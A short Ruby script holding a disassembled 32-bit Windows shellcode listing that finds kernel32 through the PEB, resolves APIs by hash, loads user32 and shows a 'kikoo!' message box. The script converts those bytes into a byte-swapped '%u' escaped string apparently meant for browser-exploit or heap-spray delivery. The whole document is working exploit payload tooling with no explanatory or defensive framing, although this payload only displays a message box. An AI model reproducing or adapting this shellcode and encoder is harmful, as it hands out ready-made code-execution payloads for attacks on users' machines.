x = %q{
60               pushad
33 DB            xor         ebx,ebx
64 8B 73 30      mov         esi,dword ptr fs:[ebx+30h]
8B 76 0C         mov         esi,dword ptr [esi+0Ch]
8B 76 1C         mov         esi,dword ptr [esi+1Ch]
AD               lods        dword ptr [esi]
8B 70 08         mov         esi,dword ptr [eax+8]
68 6F 6F 21 00   push        str
68 6B 69 6B 6F   push        str
8B C4            mov         eax,esp
50               push        eax
50               push        eax
EB 56            jmp         later

60               pushad
8B EE            mov         ebp,esi
03 76 3C         add         esi,dword ptr [esi+3Ch]
8B 46 78         mov         eax,dword ptr [esi+78h]
33 DB            xor         ebx,ebx
39 5E 7C         cmp         dword ptr [esi+7Ch],ebx
74 3E            je          do_msgbox+93h (405986h)
8D 54 05 18      lea         edx,[ebp+eax+18h]
8B 0A            mov         ecx,dword ptr [edx]
8B 42 08         mov         eax,dword ptr [edx+8]
03 C5            add         eax,ebp
8B 74 88 FC      mov         esi,dword ptr [eax+ecx*4-4]
03 F5            add         esi,ebp
50               push        eax
33 C0            xor         eax,eax
33 DB            xor         ebx,ebx
AC               lods        byte ptr [esi]
85 C0            test        eax,eax
74 07            je          do_msgbox+77h (40596Ah)
03 D8            add         ebx,eax
C1 CB 0D         ror         ebx,0Dh
EB F4            jmp         do_msgbox+6Bh (40595Eh)
58               pop         eax
3B DF            cmp         ebx,edi
E0 E4            loopne      do_msgbox+60h (405953h)
E3 15            jecxz       do_msgbox+93h (405986h)
8B 72 0C         mov         esi,dword ptr [edx+0Ch]
03 F5            add         esi,ebp
0F B7 0C 4E      movzx       ecx,word ptr [esi+ecx*2]
8B 72 04         mov         esi,dword ptr [edx+4]
03 F5            add         esi,ebp
8B 3C 8E         mov         edi,dword ptr [esi+ecx*4]
03 FD            add         edi,ebp
EB 02            jmp         do_msgbox+95h (405988h)
33 FF            xor         edi,edi
89 7C 24 1C      mov         dword ptr [esp+1Ch],edi
61 C3            popad ret

55               push        ebp
8B EC            mov         ebp,esp
68 33 32 00 20   push        3233h
68 75 73 65 72   push        72657375h
54               push        esp
BF 72 60 77 74   mov         edi,74776072h
E8 92 FF FF FF   call        getproc
FF D0            call        eax
50               push        eax
56               push        esi
8B F0            mov         esi,eax
BF 6D E2 45 15   mov         edi,1545E26Dh
E8 82 FF FF FF   call        do_msgbox+45h (405938h)
6A 00            push        0
FF 75 08         push        dword ptr [ebp+0Ch]
FF 75 04         push        dword ptr [ebp+8]
6A 00            push        0
FF D0            call        eax
5E               pop         esi
BF 4E 6E 02 AD   mov         edi,0AD026E4Eh
E8 6B FF FF FF   call        do_msgbox+45h (405938h)
FF D0            call        eax
C9               leave

58 58 
58 58 
61               popad
//C3//               ret

}

odd = true
uu = ''

x.split(/$/).map { |s|
	s.gsub(/([0-9A-F][0-9A-F]) /) {
		if odd
			odd = false
			uu << '%u'
		else
			odd = true
		end
		uu << $1
		nil
	}
}
uu << '90' unless odd

puts uu.gsub(/%u(..)(..)/, '%u\2\1')